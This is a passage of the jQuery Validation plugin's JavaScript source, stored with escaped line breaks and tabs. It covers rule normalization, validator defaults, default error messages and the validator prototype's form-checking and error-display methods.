filtered;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tvar data = $.validator.normalizeRules(\r\n\t\t$.extend(\r\n\t\t\t{},\r\n\t\t\t$.validator.metadataRules(element),\r\n\t\t\t$.validator.classRules(element),\r\n\t\t\t$.validator.attributeRules(element),\r\n\t\t\t$.validator.staticRules(element)\r\n\t\t), element);\r\n\t\t\r\n\t\t// make sure required is at front\r\n\t\tif (data.required) {\r\n\t\t\tvar param = data.required;\r\n\t\t\tdelete data.required;\r\n\t\t\tdata = $.extend({required: param}, data);\r\n\t\t}\r\n\t\t\r\n\t\treturn data;\r\n\t}\r\n});\r\n\r\n// Custom selectors\r\n$.extend($.expr[\":\"], {\r\n\t// http://docs.jquery.com/Plugins/Validation/blank\r\n\tblank: function(a) {return !$.trim(\"\" + a.value);},\r\n\t// http://docs.jquery.com/Plugins/Validation/filled\r\n\tfilled: function(a) {return !!$.trim(\"\" + a.value);},\r\n\t// http://docs.jquery.com/Plugins/Validation/unchecked\r\n\tunchecked: function(a) {return !a.checked;}\r\n});\r\n\r\n// constructor for validator\r\n$.validator = function( options, form ) {\r\n\tthis.settings = $.extend( true, {}, $.validator.defaults, options );\r\n\tthis.currentForm = form;\r\n\tthis.init();\r\n};\r\n\r\n$.validator.format = function(source, params) {\r\n\tif ( arguments.length == 1 ) \r\n\t\treturn function() {\r\n\t\t\tvar args = $.makeArray(arguments);\r\n\t\t\targs.unshift(source);\r\n\t\t\treturn $.validator.format.apply( this, args );\r\n\t\t};\r\n\tif ( arguments.length > 2 && params.constructor != Array  ) {\r\n\t\tparams = $.makeArray(arguments).slice(1);\r\n\t}\r\n\tif ( params.constructor != Array ) {\r\n\t\tparams = [ params ];\r\n\t}\r\n\t$.each(params, function(i, n) {\r\n\t\tsource = source.replace(new RegExp(\"\\\\{\" + i + \"\\\\}\", \"g\"), n);\r\n\t});\r\n\treturn source;\r\n};\r\n\r\n$.extend($.validator, {\r\n\t\r\n\tdefaults: {\r\n\t\tmessages: {},\r\n\t\tgroups: {},\r\n\t\trules: {},\r\n\t\terrorClass: \"error\",\r\n\t\tvalidClass: \"valid\",\r\n\t\terrorElement: \"label\",\r\n\t\tfocusInvalid: true,\r\n\t\terrorContainer: $( [] ),\r\n\t\terrorLabelContainer: $( [] ),\r\n\t\tonsubmit: true,\r\n\t\tignore: [],\r\n\t\tignoreTitle: false,\r\n\t\tonfocusin: function(element) {\r\n\t\t\tthis.lastActive = element;\r\n\t\t\t\t\r\n\t\t\t// hide error label and remove error class on focus if enabled\r\n\t\t\tif ( this.settings.focusCleanup && !this.blockFocusCleanup ) {\r\n\t\t\t\tthis.settings.unhighlight && this.settings.unhighlight.call( this, element, this.settings.errorClass, this.settings.validClass );\r\n\t\t\t\tthis.errorsFor(element).hide();\r\n\t\t\t}\r\n\t\t},\r\n\t\tonfocusout: function(element) {\r\n\t\t\tif ( !this.checkable(element) && (element.name in this.submitted || !this.optional(element)) ) {\r\n\t\t\t\tthis.element(element);\r\n\t\t\t}\r\n\t\t},\r\n\t\tonkeyup: function(element) {\r\n\t\t\tif ( element.name in this.submitted || element == this.lastElement ) {\r\n\t\t\t\tthis.element(element);\r\n\t\t\t}\r\n\t\t},\r\n\t\tonclick: function(element) {\r\n\t\t\t// click on selects, radiobuttons and checkboxes\r\n\t\t\tif ( element.name in this.submitted )\r\n\t\t\t\tthis.element(element);\r\n\t\t\t// or option elements, check parent select in that case\r\n\t\t\telse if (element.parentNode.name in this.submitted)\r\n\t\t\t\tthis.element(element.parentNode);\r\n\t\t},\r\n\t\thighlight: function( element, errorClass, validClass ) {\r\n\t\t\t$(element).addClass(errorClass).removeClass(validClass);\r\n\t\t},\r\n\t\tunhighlight: function( element, errorClass, validClass ) {\r\n\t\t\t$(element).removeClass(errorClass).addClass(validClass);\r\n\t\t}\r\n\t},\r\n\r\n\t// http://docs.jquery.com/Plugins/Validation/Validator/setDefaults\r\n\tsetDefaults: function(settings) {\r\n\t\t$.extend( $.validator.defaults, settings );\r\n\t},\r\n\r\n\tmessages: {\r\n\t\trequired: \"This field is required.\",\r\n\t\tremote: \"Please fix this field.\",\r\n\t\temail: \"Please enter a valid email address.\",\r\n\t\turl: \"Please enter a valid URL.\",\r\n\t\tdate: \"Please enter a valid date.\",\r\n\t\tdateISO: \"Please enter a valid date (ISO).\",\r\n\t\tnumber: \"Please enter a valid number.\",\r\n\t\tdigits: \"Please enter only digits.\",\r\n\t\tcreditcard: \"Please enter a valid credit card number.\",\r\n\t\tequalTo: \"Please enter the same value again.\",\r\n\t\taccept: \"Please enter a value with a valid extension.\",\r\n\t\tmaxlength: $.validator.format(\"Please enter no more than {0} characters.\"),\r\n\t\tminlength: $.validator.format(\"Please enter at least {0} characters.\"),\r\n\t\trangelength: $.validator.format(\"Please enter a value between {0} and {1} characters long.\"),\r\n\t\trange: $.validator.format(\"Please enter a value between {0} and {1}.\"),\r\n\t\tmax: $.validator.format(\"Please enter a value less than or equal to {0}.\"),\r\n\t\tmin: $.validator.format(\"Please enter a value greater than or equal to {0}.\")\r\n\t},\r\n\t\r\n\tautoCreateRanges: false,\r\n\t\r\n\tprototype: {\r\n\t\t\r\n\t\tinit: function() {\r\n\t\t\tthis.labelContainer = $(this.settings.errorLabelContainer);\r\n\t\t\tthis.errorContext = this.labelContainer.length && this.labelContainer || $(this.currentForm);\r\n\t\t\tthis.containers = $(this.settings.errorContainer).add( this.settings.errorLabelContainer );\r\n\t\t\tthis.submitted = {};\r\n\t\t\tthis.valueCache = {};\r\n\t\t\tthis.pendingRequest = 0;\r\n\t\t\tthis.pending = {};\r\n\t\t\tthis.invalid = {};\r\n\t\t\tthis.reset();\r\n\t\t\t\r\n\t\t\tvar groups = (this.groups = {});\r\n\t\t\t$.each(this.settings.groups, function(key, value) {\r\n\t\t\t\t$.each(value.split(/\\s/), function(index, name) {\r\n\t\t\t\t\tgroups[name] = key;\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t\tvar rules = this.settings.rules;\r\n\t\t\t$.each(rules, function(key, value) {\r\n\t\t\t\trules[key] = $.validator.normalizeRule(value);\r\n\t\t\t});\r\n\t\t\t\r\n\t\t\tfunction delegate(event) {\r\n\t\t\t\tvar validator = $.data(this[0].form, \"validator\"),\r\n\t\t\t\t\teventType = \"on\" + event.type.replace(/^validate/, \"\");\r\n\t\t\t\tvalidator.settings[eventType] && validator.settings[eventType].call(validator, this[0] );\r\n\t\t\t}\r\n\t\t\t$(this.currentForm)\r\n\t\t\t\t.validateDelegate(\":text, :password, :file, select, textarea\", \"focusin focusout keyup\", delegate)\r\n\t\t\t\t.validateDelegate(\":radio, :checkbox, select, option\", \"click\", delegate);\r\n\r\n\t\t\tif (this.settings.invalidHandler)\r\n\t\t\t\t$(this.currentForm).bind(\"invalid-form.validate\", this.settings.invalidHandler);\r\n\t\t},\r\n\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Validator/form\r\n\t\tform: function() {\r\n\t\t\tthis.checkForm();\r\n\t\t\t$.extend(this.submitted, this.errorMap);\r\n\t\t\tthis.invalid = $.extend({}, this.errorMap);\r\n\t\t\tif (!this.valid())\r\n\t\t\t\t$(this.currentForm).triggerHandler(\"invalid-form\", [this]);\r\n\t\t\tthis.showErrors();\r\n\t\t\treturn this.valid();\r\n\t\t},\r\n\t\t\r\n\t\tcheckForm: function() {\r\n\t\t\tthis.prepareForm();\r\n\t\t\tfor ( var i = 0, elements = (this.currentElements = this.elements()); elements[i]; i++ ) {\r\n\t\t\t\tthis.check( elements[i] );\r\n\t\t\t}\r\n\t\t\treturn this.valid(); \r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Validator/element\r\n\t\telement: function( element ) {\r\n\t\t\telement = this.clean( element );\r\n\t\t\tthis.lastElement = element;\r\n\t\t\tthis.prepareElement( element );\r\n\t\t\tthis.currentElements = $(element);\r\n\t\t\tvar result = this.check( element );\r\n\t\t\tif ( result ) {\r\n\t\t\t\tdelete this.invalid[element.name];\r\n\t\t\t} else {\r\n\t\t\t\tthis.invalid[element.name] = true;\r\n\t\t\t}\r\n\t\t\tif ( !this.numberOfInvalids() ) {\r\n\t\t\t\t// Hide error containers on last error\r\n\t\t\t\tthis.toHide = this.toHide.add( this.containers );\r\n\t\t\t}\r\n\t\t\tthis.showErrors();\r\n\t\t\treturn result;\r\n\t\t},\r\n\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Validator/showErrors\r\n\t\tshowErrors: function(errors) {\r\n\t\t\tif(errors) {\r\n\t\t\t\t// add items to error list and map\r\n\t\t\t\t$.extend( this.errorMap, errors );\r\n\t\t\t\tthis.errorList = [];\r\n\t\t\t\tfor ( var name in errors ) {\r\n\t\t\t\t\tthis.errorList.push({\r\n\t\t\t\t\t\tmessage: errors[name],\r\n\t\t\t\t\t\telement: this.findByName(name)[0]\r\n\t\t\t\t\t});\r\n\t\t\t\t}\r\n\t\t\t\t// remove items from success list\r\n\t\t\t\tthis.successList = $.grep( this.successList, function(element) {\r\n\t\t\t\t\treturn !(element.name in errors);\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t\tthis.settings.showErrors\r\n\t\t\t\t? this.settings.showErrors.call( this, this.errorMap, this.errorList )\r\n\t\t\t\t: this.defaultShowErrors();\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Validator/resetForm\r\n\t\tresetForm: function() {\r\n\t\t\tif ( $.fn.resetForm )\r\n\t\t\t\t$( this.currentForm ).resetForm();\r\n\t\t\tthis.submitted = {};\r\n\t\t\tthis.prepareForm();\r\n\t\t\tthis.hideErrors();\r\n\t\t\tthis.elements().removeClass( this.settings.errorClass );\r\n\t\t},\r\n\t\t\r\n\t\tnumberOfInvalids: function() {\r\n\t\t\treturn this.objectLength(this.invalid);\r\n\t\t},\r\n\t\t\r\n\t\tobjectLength: function( obj ) {\r\n\t\t\tvar count = 0;\r\n\t\t\tfor ( var i in obj )\r\n\t\t\t\tcount++;\r\n\t\t\treturn count;\r\n\t\t},\r\n\t\t\r\n\t\thideErrors: function() {\r\n\t\t\tthis.addWrapper( this.toHide ).hide();\r\n\t\t},\r\n\t\t\r\n\t\tvalid: function() {\r\n\t\t\treturn this.size() == 0;\r\n\t\t},\r\n\t\t\r\n\t\tsize: function() {\r\n\t\t\treturn this.errorList.length;\r\n\t\t},\r\n\t\t\r\n\t\tfocusInvalid: function() {\r\n\t\t\tif( this.settings.focusInvalid ) {\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$(this.findLastActive() || this.errorList.length && this.errorList[0].element || [])\r\n\t\t\t\t\t.filter(\":visible\")\r\n\t\t\t\t\t.focus()\r\n\t\t\t\t\t// manually trigger focusin event; without it, focusin handler isn't called, findLastActive won't have anything to find\r\n\t\t\t\t\t.trigger(\"focusin\");\r\n\t\t\t\t} catch(e) {\r\n\t\t\t\t\t// ignore IE throwing errors when focusing hidden elements\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t},\r\n\t\t\r\n\t\tfindLastActive: function() {\r\n\t\t\tvar lastActive = this.lastActive;\r\n\t\t\treturn lastActive && $.grep(this.errorList, function(n) {\r\n\t\t\t\treturn n.element.name == lastActive.name;\r\n\t\t\t}).length == 1 && lastActive;\r\n\t\t},\r\n\t\t\r\n\t\telements: function() {\r\n\t\t\tvar validator = this,\r\n\t\t\t\trulesCache = {};\r\n\t\t\t\r\n\t\t\t// select all valid inputs inside the form (no submit or reset buttons)\r\n\t\t\t// workaround $Query([]).add until http://dev.jquery.com/ticket/2114 is solved\r\n\t\t\treturn $([]).add(this.currentForm.elements)\r\n\t\t\t.filter(\":input\")\r\n\t\t\t.not(\":submit, :reset, :image, [disabled]\")\r\n\t\t\t.not( this.settings.ignore )\r\n\t\t\t.filter(function() {\r\n\t\t\t\t!this.name && validator.settings.debug && window.console && console.error( \"%o has no name assigned\", this);\r\n\t\t\t\r\n\t\t\t\t// select only the first element for each name, and only those with rules specified\r\n\t\t\t\tif ( this.name in rulesCache || !validator.objectLength($(this).rules()) )\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t\r\n\t\t\t\trulesCache[this.name] = true;\r\n\t\t\t\treturn true;\r\n\t\t\t});\r\n\t\t},\r\n\t\t\r\n\t\tclean: function( selector ) {\r\n\t\t\treturn $( selector )[0];\r\n\t\t},\r\n\t\t\r\n\t\terrors: function() {\r\n\t\t\treturn $( this.settings.errorElement + \".\" + this.settings.errorClass, this.errorContext );\r\n\t\t},\r\n\t\t\r\n\t\treset: function() {\r\n\t\t\tthis.successList = [];\r\n\t\t\tthis.errorList = [];\r\n\t\t\tthis.errorMap = {};\r\n\t\t\tthis.toShow = $([]);\r\n\t\t\tthis.toHide = $([]);\r\n\t\t\tthis.currentElements = $([]);\r\n\t\t},\r\n\t\t\r\n\t\tprepareForm: function() {\r\n\t\t\tthis.reset();\r\n\t\t\tthis.toHide = this.errors().add( this.containers );\r\n\t\t},\r\n\t\t\r\n\t\tprepareElement: function( element ) {\r\n\t\t\tthis.reset();\r\n\t\t\tthis.toHide = this.errorsFor(element);\r\n\t\t},\r\n\t\r\n\t\tcheck: function( element ) {\r\n\t\t\telement = this.clean( element );\r\n\t\t\t\r\n\t\t\t// if radio/checkbox, validate first element in group instead\r\n\t\t\tif (this.checkable(element)) {\r\n\t\t\t\telement = this.findByName( element.name )[0];\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tvar rules = $(element).rules();\r\n\t\t\tvar dependencyMismatch = false;\r\n\t\t\tfor( method in rules ) {\r\n\t\t\t\tvar rule = { method: method, parameters: rules[method] };\r\n\t\t\t\ttry {\r\n\t\t\t\t\tvar result = $.validator.methods[method].call( this, element.value.replace(/\\r/g, \"\"), element, rule.parameters );\r\n\t\t\t\t\t\r\n\t\t\t\t\t// if a method indicates that the field is optional and therefore valid,\r\n\t\t\t\t\t// don't mark it as valid when there are no other rules\r\n\t\t\t\t\tif ( result == \"dependency-mismatch\" ) {\r\n\t\t\t\t\t\tdependencyMismatch = true;\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tdependencyMismatch = false;\r\n\t\t\t\t\t\r\n\t\t\t\t\tif ( result == \"pending\" ) {\r\n\t\t\t\t\t\tthis.toHide = this.toHide.not( this.errorsFor(element) );\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\tif( !result ) {\r\n\t\t\t\t\t\tthis.formatAndAdd( element, rule );\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t}\r\n\t\t\t\t} catch(e) {\r\n\t\t\t\t\tthis.settings.debug && window.console && console.log(\"exception occured when checking element \" + element.id\r\n\t\t\t\t\t\t + \", check the '\" + rule.method + \"' method\", e);\r\n\t\t\t\t\tthrow e;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (dependencyMismatch)\r\n\t\t\t\treturn;\r\n\t\t\tif ( this.objectLength(rules) )\r\n\t\t\t\tthis.successList.push(element);\r\n\t\t\treturn true;\r\n\t\t},\r\n\t\t\r\n\t\t// return the custom message for the given element and validation method\r\n\t\t// specified in the element's \"messages\" metadata\r\n\t\tcustomMetaMessage: function(element, method) {\r\n\t\t\tif (!$.metadata)\r\n\t\t\t\treturn;\r\n\t\t\t\r\n\t\t\tvar meta = this.settings.meta\r\n\t\t\t\t? $(element).metadata()[this.settings.meta]\r\n\t\t\t\t: $(element).metadata();\r\n\t\t\t\r\n\t\t\treturn meta && meta.messages && meta.messages[method];\r\n\t\t},\r\n\t\t\r\n\t\t// return the custom message for the given element name and validation method\r\n\t\tcustomMessage: function( name, method ) {\r\n\t\t\tvar m = this.settings.messages[name];\r\n\t\t\treturn m && (m.constructor == String\r\n\t\t\t\t? m\r\n\t\t\t\t: m[method]);\r\n\t\t},\r\n\t\t\r\n\t\t// return the first defined argument, allowing empty strings\r\n\t\tfindDefined: function() {\r\n\t\t\tfor(var i = 0; i < arguments.length; i++) {\r\n\t\t\t\tif (arguments[i] !== undefined)\r\n\t\t\t\t\treturn arguments[i];\r\n\t\t\t}\r\n\t\t\treturn undefined;\r\n\t\t},\r\n\t\t\r\n\t\tdefaultMessage: function( element, method) {\r\n\t\t\treturn this.findDefined(\r\n\t\t\t\tthis.customMessage( element.name, method ),\r\n\t\t\t\tthis.customMetaMessage( element, method ),\r\n\t\t\t\t// title is never undefined, so handle empty string as undefined\r\n\t\t\t\t!this.settings.ignoreTitle && element.title || undefined,\r\n\t\t\t\t$.validator.messages[method],\r\n\t\t\t\t\"<strong>Warning: No message defined for \" + element.name + \"</strong>\"\r\n\t\t\t);\r\n\t\t},\r\n\t\t\r\n\t\tformatAndAdd: function( element, rule ) {\r\n\t\t\tvar message = this.defaultMessage( element, rule.method ),\r\n\t\t\t\ttheregex = /\\$?\\{(\\d+)\\}/g;\r\n\t\t\tif ( typeof message == \"function\" ) {\r\n\t\t\t\tmessage = message.call(this, rule.parameters, element);\r\n\t\t\t} else if (theregex.test(message)) {\r\n\t\t\t\tmessage = jQuery.format(message.replace(theregex, '{$1}'), rule.parameters);\r\n\t\t\t}\t\t\t\r\n\t\t\tthis.errorList.push({\r\n\t\t\t\tmessage: message,\r\n\t\t\t\telement: element\r\n\t\t\t});\r\n\t\t\t\r\n\t\t\tthis.errorMap[element.name] = message;\r\n\t\t\tthis.submitted[element.name] = message;\r\n\t\t},\r\n\t\t\r\n\t\taddWrapper: function(toToggle) {\r\n\t\t\tif ( this.settings.wrapper )\r\n\t\t\t\ttoToggle = toToggle.add( toToggle.parent( this.settings.wrapper ) );\r\n\t\t\treturn toToggle;\r\n\t\t},\r\n\t\t\r\n\t\tdefaultShowErrors: function() {\r\n\t\t\tfor ( var i = 0; this.errorList[i]; i++ ) {\r\n\t\t\t\tvar error = this.errorList[i];\r\n\t\t\t\tthis.settings.highlight && this.settings.highlight.call( this, error.element, this.settings.errorClass, this.settings.validClass );\r\n\t\t\t\tthis.showLabel( error.element, error.message );\r\n\t\t\t}\r\n\t\t\tif( this.errorList.length ) {\r\n\t\t\t\tthis.toShow = this.toShow.add( this.containers );\r\n\t\t\t}\r\n\t\t\tif (this.settings.success) {\r\n\t\t\t\tfor ( var i = 0; this.successList[i]; i++ ) {\r\n\t\t\t\t\tthis.showLabel( this.successList[i] );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (this.settings.unhighlight) {\r\n\t\t\t\tfor ( var i = 0, elements = this.validElements(); elements[i]; i++ ) {\r\n\t\t\t\t\tthis.settings.unhighlight.call( this, elements[i], this.settings.errorClass, this.settings.validClass );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tthis.toHide = this.toHide.not( this.toShow );\r\n\t\t\tthis.hideErrors();\r\n\t\t\tthis.addWrapper( this.toShow ).show();\r\n\t\t},\r\n\t\t\r\n\t\tvalidElements: function() {\r\n\t\t\treturn this.currentElements.not(this.invalidElements());\r\n\t\t},\r\n\t\t\r\n\t\tinvalidElements: function() {\r\n\t\t\treturn $(this.errorList).map(function() {\r\n\t\t\t\treturn this.element;\r\n\t\t\t});\r\n\t\t},\r\n\t\t\r\n\t\tshowLabel: function(element, message) {\r\n\t\t\tvar label = this.errorsFor( element );\r\n\t\t\tif ( label.length ) {\r\n\t\t\t\t// refresh error/success class\r\n\t\t\t\tlabel.removeClass().addClass( this.settings.errorClass );\r\n\t\t\t\r\n\t\t\t\t// check if we have a generated label, replace the message then\r\n\t\t\t\tlabel.attr(\"generated\") && label.html(message);\r\n\t\t\t} else {\r\n\t\t\t\t// create label\r\n\t\t\t\tlabel = $(\"<\" + this.settings.errorElement + \"/>\")\r\n\t\t\t\t\t.attr({\"for\":  this.idOrName(element), generated: true})\r\n\t\t\t\t\t.addClass(this.settings.errorClass)\r\n\t\t\t\t\t.html(message || \"\");\r\n\t\t\t\tif ( this.settings.wrapper ) {\r\n\t\t\t\t\t// make sure the element is visible, even in IE\r\n\t\t\t\t\t// actually showing the wrapped element is handled elsewhere\r\n\t\t\t\t\tlabel = label.hide().show().wrap(\"<\" + this.settings.wrapper + \"/>\").parent();\r\n\t\t\t\t}\r\n\t\t\t\tif ( !this.labelContainer.append(label).length )\r\n\t\t\t\t\tthis.settings.errorPlacement\r\n\t\t\t\t\t\t? this.settings.errorPlacement(label, $(element) )\r\n\t\t\t\t\t\t: label.insertAfter(element);\r\n\t\t\t}\r\n\t\t\tif ( !message && this.settings.success ) {\r\n\t\t\t\tlabel.text(\"\");\r\n\t\t\t\ttypeof this.settings.success == \"string\"\r\n\t\t\t\t\t? label.addClass( this.settings.success )\r\n\t\t\t\t\t: this.settings.success( label );\r\n\t\t\t}\r\n\t\t\tthis.toShow = this.toShow.add(label);\r\n\t\t},\r\n\t\t\r\n\t\terrorsFor: function(element) {\r\n\t\t\tvar name = this.idOrName(element);\r\n    \t\treturn this.errors().filter(function() {\r\n\t\t\t\treturn $(this).attr('for') == name;\r\n\t\t\t});\r\n\t\t},\r\n\t\t\r\n\t\tidOrName: function(element) {\r\n\t\t\treturn this.groups[element.name] || (this.checkable(element) ? element.name : element.id || element.name);\r\n\t\t},\r\n\r\n\t\tcheckable: function( element ) {\r\n\t\t\treturn /radio|checkbox/i.test(element.type);\r\n\t\t},\r\n\t\t\r\n\t\tfindByName: function( name ) {\r\n\t\t\t// select by name and filter by form for performance over form.find(\"[name=...]\")\r\n\t\t\tvar form = this.currentForm;\r\n\t\t\treturn $(document.getElementsByName(name)).map(function(index, element) {\r\n\t\t\t\treturn element.form == form && element.name == name && element  || null;\r\n\t\t\t});\r\n\t\t},\r\n\t\t\r\n\t\tgetLength: function(value, element) {\r\n\t\t\tswitch( element.nodeName.toLowerCase() ) {\r\n\t\t\tcase 'select':\r\n\t\t\t\treturn $(\"option:selected\", element).length;\r\n\t\t\tcase 'input':\r\n\t\t\t\tif( this.checkable( element) )\r\n\t\t\t\t\treturn this.findByName(element.name).filter(':checked').length;\r\n\t\t\t}\r\n\t\t\treturn value.length;\r\n\t\t},\r\n\t\r\n\t\tdepend: function(param, element) {\r\n\t\t\treturn this.dependTypes[typeof param]\r\n\t\t\t\t? this.dependTypes[typeof param](param, element)\r\n\t\t\t\t: true;\r\n\t\t},\r\n\t\r\n\t\tdependTypes: {\r\n\t\t\t\"boolean\": function(param, element) {\r\n\t\t\t\treturn param;\r\n\t\t\t},\r\n\t\t\t\"string\": function(param, element) {\r\n\t\t\t\treturn !!$(param, element.form).length;\r\n\t\t\t},\r\n\t\t\t\"function\": function(param, element) {\r\n\t\t\t\treturn param(element);\r\n\t\t\t}\r\n\t\t},\r\n\t\t\r\n\t\toptional: function(element) {\r\n\t\t\treturn !$.validator.methods.required.call(this, $.trim(element.value), element) && \"dependency-mismatch\";\r\n\t\t},\r\n\t\t\r\n\t\tstartRequest: function(element) {\r\n\t\t\tif (!this.pending[element.name]) {\r\n\t\t\t\tthis.pendingRequest++;\r\n\t\t\t\tthis.pending[element.name] = true;\r\n\t\t\t}\r\n\t\t},\r\n\t\t\r\n\t\tstopRequest: function(element, valid) {\r\n\t\t\tthis.pendingRequest--;\r\n\t\t\t// sometimes synchronization fails, make sure pendingRequest is never < 0\r\n\t\t\tif (this.pendingRequest < 0)\r\n\t\t\t\tthis.pendingRequest = 0;\r\n\t\t\tdelete this.pending[element.name];\r\n\t\t\tif ( valid && this.pendingRequest == 0 && this.formSubmitted && this.form() ) {\r\n\t\t\t\t$(this.currentForm).submit();\r\n\t\t\t\tthis.formSubmitted = false;\r\n\t\t\t} else if (!valid && this.pendingRequest == 0 && this.formSubmitted) {\r\n\t\t\t\t$(this.currentForm).triggerHandler(\"invalid-form\", [this]);\r\n\t\t\t\tthis.formSubmitted = false;\r\n\t\t\t}\r\n\t\t},\r\n\t\t\r\n\t\tpreviousValue: function(element) {\r\n\t\t\treturn $.data(element, \"previousValue\") || $.data(element, \"previousValue\", {\r\n\t\t\t\told: null,\r\n\t\t\t\tvalid: true,\r\n\t\t\t\tmessage: this.defaultMessage( element, \"remote\" )\r\n\t\t\t});\r\n\t\t}\r\n\t\t\r\n\t},\r\n\t\r\n\tclassRuleSettings: {\r\n\t\trequired: {required: true},\r\n\t\temail: {email: true},\r\n\t\turl: {url: true},\r\n\t\tdate: {date: true},\r\n\t\tdateISO: {dateISO: true},\r\n\t\tdateDE: {dateDE: true},\r\n\t\tnumber: {number: true},\r\n\t\tnumberDE: {numberDE: true},\r\n\t\tdigits: {digits: true},\r\n\t\tcreditcard: {creditcard: true}\r\n\t},\r\n\t\r\n\taddClassRules: function(className, rules) {\r\n\t\tclassName.constructor == String ?\r\n\t\t\tthis.classRuleSettings[className] = rules :\r\n\t\t\t$.extend(this.classRuleSettings, className);\r\n\t},\r\n\t\r\n\tclassRules: function(element) {\r\n\t\tvar rules = {};\r\n\t\tvar classes = $(element).attr('class');\r\n\t\tclasses && $.each(classes.split(' '), function() {\r\n\t\t\tif (this in $.validator.classRuleSettings) {\r\n\t\t\t\t$.extend(rules, $.validator.classRuleSettings[this]);\r\n\t\t\t}\r\n\t\t});\r\n\t\treturn rules;\r\n\t},\r\n\t\r\n\tattributeRules: function(element) {\r\n\t\tvar rules = {};\r\n\t\tvar $element = $(element);\r\n\t\t\r\n\t\tfor (method in $.validator.methods) {\r\n\t\t\tvar value = $element.attr(method);\r\n\t\t\tif (value) {\r\n\t\t\t\trules[method] = value;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// maxlength may be returned as -1, 2147483647 (IE) and 524288 (safari) for text inputs\r\n\t\tif (rules.maxlength && /-1|2147483647|524288/.test(rules.maxlength)) {\r\n\t\t\tdelete rules.maxlength;\r\n\t\t}\r\n\t\t\r\n\t\treturn rules;\r\n\t},\r\n\t\r\n\tmetadataRules: function(element) {\r\n\t\tif (!$.metadata) return {};\r\n\t\t\r\n\t\tvar meta = $.data(element.form, 'validator').settings.meta;\r\n\t\treturn meta ?\r\n\t\t\t$(element).metadata()[meta] :\r\n\t\t\t$(element).metadata();\r\n\t},\r\n\t\r\n\tstaticRules: function(element) {\r\n\t\tvar rules = {};\r\n\t\tvar validator = $.data(element.form, 'validator');\r\n\t\tif (validator.settings.rules) {\r\n\t\t\trules = $.validator.normalizeRule(validator.settings.rules[element.name]) || {};\r\n\t\t}\r\n\t\treturn rules;\r\n\t},\r\n\t\r\n\tnormalizeRules: function(rules, element) {\r\n\t\t// handle dependency check\r\n\t\t$.each(rules, function(prop, val) {\r\n\t\t\t// ignore rule when param is explicitly false, eg. required:false\r\n\t\t\tif (val === false) {\r\n\t\t\t\tdelete rules[prop];\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\tif (val.param || val.depends) {\r\n\t\t\t\tvar keepRule = true;\r\n\t\t\t\tswitch (typeof val.depends) {\r\n\t\t\t\t\tcase \"string\":\r\n\t\t\t\t\t\tkeepRule = !!$(val.depends, element.form).length;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase \"function\":\r\n\t\t\t\t\t\tkeepRule = val.depends.call(element, element);\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tif (keepRule) {\r\n\t\t\t\t\trules[prop] = val.param !== undefined ? val.param : true;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tdelete rules[prop];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t\t\r\n\t\t// evaluate parameters\r\n\t\t$.each(rules, function(rule, parameter) {\r\n\t\t\trules[rule] = $.isFunction(parameter) ? parameter(element) : parameter;\r\n\t\t});\r\n\t\t\r\n\t\t// clean number parameters\r\n\t\t$.each(['minlength', 'maxlength', 'min', 'max'], function() {\r\n\t\t\tif (rules[this]) {\r\n\t\t\t\trules[this] = Number(rules[this]);\r\n\t\t\t}\r\n\t\t});\r\n\t\t$.each(['rangelength', 'range'], function() {\r\n\t\t\tif (rules[this]) {\r\n\t\t\t\trules[this] = [Number(rules[this][0]), Number(rules[this][1])];\r\n\t\t\t}\r\n\t\t});\r\n\t\t\r\n\t\tif ($.validator.autoCreateRanges) {\r\n\t\t\t// auto-create ranges\r\n\t\t\tif (rules.min && rules.max) {\r\n\t\t\t\trules.range = [rules.min, rules.max];\r\n\t\t\t\tdelete rules.min;\r\n\t\t\t\tdelete rules.max;\r\n\t\t\t}\r\n\t\t\tif (rules.minlength && rules.maxlength) {\r\n\t\t\t\trules.rangelength = [rules.minlength, rules.maxlength];\r\n\t\t\t\tdelete rules.minlength;\r\n\t\t\t\tdelete rules.maxlength;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// To support custom messages in metadata ignore rule methods titled \"messages\"\r\n\t\tif (rules.messages) {\r\n\t\t\tdelete rules.messages;\r\n\t\t}\r\n\t\t\r\n\t\treturn rules;\r\n\t},\r\n\t\r\n\t// Converts a simple string to a {string: true} rule, e.g., \"required\" to {required:true}\r\n\tnormalizeRule: function(data) {\r\n\t\tif( typeof data == \"string\" ) {\r\n\t\t\tvar transformed = {};\r\n\t\t\t$.each(data.split(/\\s/), function() {\r\n\t\t\t\ttransformed[this] = true;\r\n\t\t\t});\r\n\t\t\tdata = transformed;\r\n\t\t}\r\n\t\treturn data;\r\n\t},\r\n\t\r\n\t// http://docs.jquery.com/Plugins/Validation/Validator/addMethod\r\n\taddMethod: function(name, method, message) {\r\n\t\t$.validator.methods[name] = method;\r\n\t\t$.validator.messages[name] = message != undefined ? message : $.validator.messages[name];\r\n\t\tif (method.length < 3) {\r\n\t\t\t$.validator.addClassRules(name, $.validator.normalizeRule(name));\r\n\t\t}\r\n\t},\r\n\r\n\tmethods: {\r\n\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/required\r\n\t\trequired: 